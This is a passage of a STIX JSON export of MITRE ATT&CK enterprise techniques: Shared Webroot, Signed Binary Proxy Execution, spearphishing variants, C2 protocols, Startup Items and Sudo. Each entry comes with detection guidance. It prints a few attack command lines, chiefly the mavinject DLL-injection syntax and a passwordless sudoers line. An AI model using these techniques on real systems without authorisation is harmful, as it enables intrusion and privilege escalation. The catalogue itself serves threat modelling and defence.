            "x_mitre_effective_permissions": [
                "Administrator",
                "root"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Shared Webroot",
            "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)",
            "external_references": [
                {
                    "external_id": "T1051",
                    "url": "https://attack.mitre.org/techniques/T1051",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-563",
                    "url": "https://capec.mitre.org/data/definitions/563.html",
                    "source_name": "capec"
                },
                {
                    "description": "Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018.",
                    "source_name": "Microsoft Web Root OCT 2016"
                },
                {
                    "url": "http://httpd.apache.org/docs/2.4/getting-started.html#content",
                    "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.",
                    "source_name": "Apache Server 2018"
                },
                {
                    "url": "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/",
                    "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.",
                    "source_name": "Webroot PHP 2011"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring"
            ],
            "x_mitre_detection": "Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.",
            "x_mitre_system_requirements": [
                "Shared webroot directory on remote system"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:46.047Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Shortcut Modification",
            "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
            "external_references": [
                {
                    "external_id": "T1023",
                    "url": "https://attack.mitre.org/techniques/T1023",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_contributors": [
                "Travis Smith, Tripwire"
            ],
            "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:30.757Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Signed Binary Proxy Execution",
            "description": "Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n### Mavinject.exe\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n<code>\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" <PID> /INJECTRUNNING <PATH DLL></code>\n<code>C:\\Windows\\system32\\mavinject.exe <PID> /INJECTRUNNING <PATH DLL></code>\n\n### SyncAppvPublishingServer.exe\nSyncAppvPublishingServer.exe can be used to run powershell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\nSeveral others binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)",
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                {
                    "external_id": "T1218",
                    "url": "https://attack.mitre.org/techniques/T1218",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://twitter.com/gn3mes1s/status/941315826107510784",
                    "description": "Giuseppe. (2017, December 14). gN3mes1s Status Update. Retrieved April 10, 2018.",
                    "source_name": "Twitter gN3mes1s Status Update MavInject32"
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                    "url": "https://twitter.com/monoxgas/status/895045566090010624",
                    "description": "Landers, N. (2017, August 8). monoxgas Status Update. Retrieved April 10, 2018.",
                    "source_name": "Twitter monoxgas Status Update SyncAppvPublishingServer"
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                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "source_name": "GitHub Ultimate AppLocker Bypass List"
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                    "external_id": "T1216",
                    "url": "https://attack.mitre.org/techniques/T1216",
                    "source_name": "mitre-attack"
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                    "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/",
                    "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.",
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            "x_mitre_permissions_required": [
                "User"
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "external_id": "T1045",
                    "url": "https://attack.mitre.org/techniques/T1045",
                    "source_name": "mitre-attack"
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                {
                    "external_id": "CAPEC-570",
                    "url": "https://capec.mitre.org/data/definitions/570.html",
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                    "url": "http://en.wikipedia.org/wiki/Executable_compression",
                    "description": "Executable compression. (n.d.). Retrieved December 4, 2014.",
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                    "phase_name": "defense-evasion",
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:43.472Z",
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            "x_mitre_domains": [
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            "name": "Source",
            "description": "The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.",
            "external_references": [
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                    "external_id": "T1153",
                    "url": "https://attack.mitre.org/techniques/T1153",
                    "source_name": "mitre-attack"
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            "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.",
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            "external_references": [
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                    "external_id": "T1151",
                    "url": "https://attack.mitre.org/techniques/T1151",
                    "source_name": "mitre-attack"
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                    "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/",
                    "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
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            "x_mitre_platforms": [
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            "x_mitre_permissions_required": [
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing Attachment",
            "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.",
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1193",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-163",
                    "url": "https://capec.mitre.org/data/definitions/163.html",
                    "source_name": "capec"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Packet capture",
                "Network intrusion detection system",
                "Detonation chamber",
                "Email gateway",
                "Mail server"
            ],
            "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "initial-access",
                    "kill_chain_name": "mitre-attack"
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing Link",
            "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).",
            "external_references": [
                {
                    "external_id": "T1192",
                    "url": "https://attack.mitre.org/techniques/T1192",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-163",
                    "url": "https://capec.mitre.org/data/definitions/163.html",
                    "source_name": "capec"
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            ],
            "object_marking_refs": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Packet capture",
                "Web proxy",
                "Email gateway",
                "Detonation chamber",
                "SSL/TLS inspection",
                "DNS records",
                "Mail server"
            ],
            "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
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            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "initial-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing via Service",
            "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.",
            "external_references": [
                {
                    "external_id": "T1194",
                    "url": "https://attack.mitre.org/techniques/T1194",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-163",
                    "url": "https://capec.mitre.org/data/definitions/163.html",
                    "source_name": "capec"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "SSL/TLS inspection",
                "Anti-virus",
                "Web proxy"
            ],
            "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "initial-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Standard Application Layer Protocol",
            "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.",
            "external_references": [
                {
                    "external_id": "T1071",
                    "url": "https://attack.mitre.org/techniques/T1071",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
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            "object_marking_refs": [
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            ],
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            "x_mitre_data_sources": [
                "Packet capture",
                "Netflow/Enclave netflow",
                "Process use of network",
                "Malware reverse engineering",
                "Process monitoring"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
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                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:56.776Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Standard Cryptographic Protocol",
            "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.",
            "external_references": [
                {
                    "external_id": "T1032",
                    "url": "https://attack.mitre.org/techniques/T1032",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "source_name": "SANS Decrypting SSL"
                },
                {
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "source_name": "SEI SSL Inspection Risks"
                },
                {
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "source_name": "Fidelis DarkComet"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
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            "object_marking_refs": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Packet capture",
                "Netflow/Enclave netflow",
                "Malware reverse engineering",
                "Process use of network",
                "Process monitoring",
                "SSL/TLS inspection"
            ],
            "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "type": "attack-pattern",
            "kill_chain_phases": [
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                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:35.334Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Standard Non-Application Layer Protocol",
            "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.",
            "external_references": [
                {
                    "external_id": "T1095",
                    "url": "https://attack.mitre.org/techniques/T1095",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29",
                    "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.",
                    "source_name": "Wikipedia OSI"
                },
                {
                    "url": "http://support.microsoft.com/KB/170292",
                    "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.",
                    "source_name": "Microsoft ICMP"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
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            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Ryan Becwar"
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            "x_mitre_data_sources": [
                "Host network interface",
                "Netflow/Enclave netflow",
                "Network intrusion detection system",
                "Network protocol analysis",
                "Packet capture",
                "Process use of network"
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            "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:10.728Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Startup Items",
            "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.",
            "external_references": [
                {
                    "external_id": "T1165",
                    "url": "https://attack.mitre.org/techniques/T1165",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "source_name": "Startup Items"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
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            ],
            "object_marking_refs": [
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring"
            ],
            "x_mitre_detection": "The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",
            "x_mitre_effective_permissions": [
                "root"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Sudo",
            "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.",
            "external_references": [
                {
                    "external_id": "T1169",
                    "url": "https://attack.mitre.org/techniques/T1169",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "source_name": "OSX.Dok Malware"
                }
            ],
            "object_marking_refs": [
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring"
            ],
            "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).",
            "x_mitre_effective_permissions": [
                "root"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Sudo Caching",
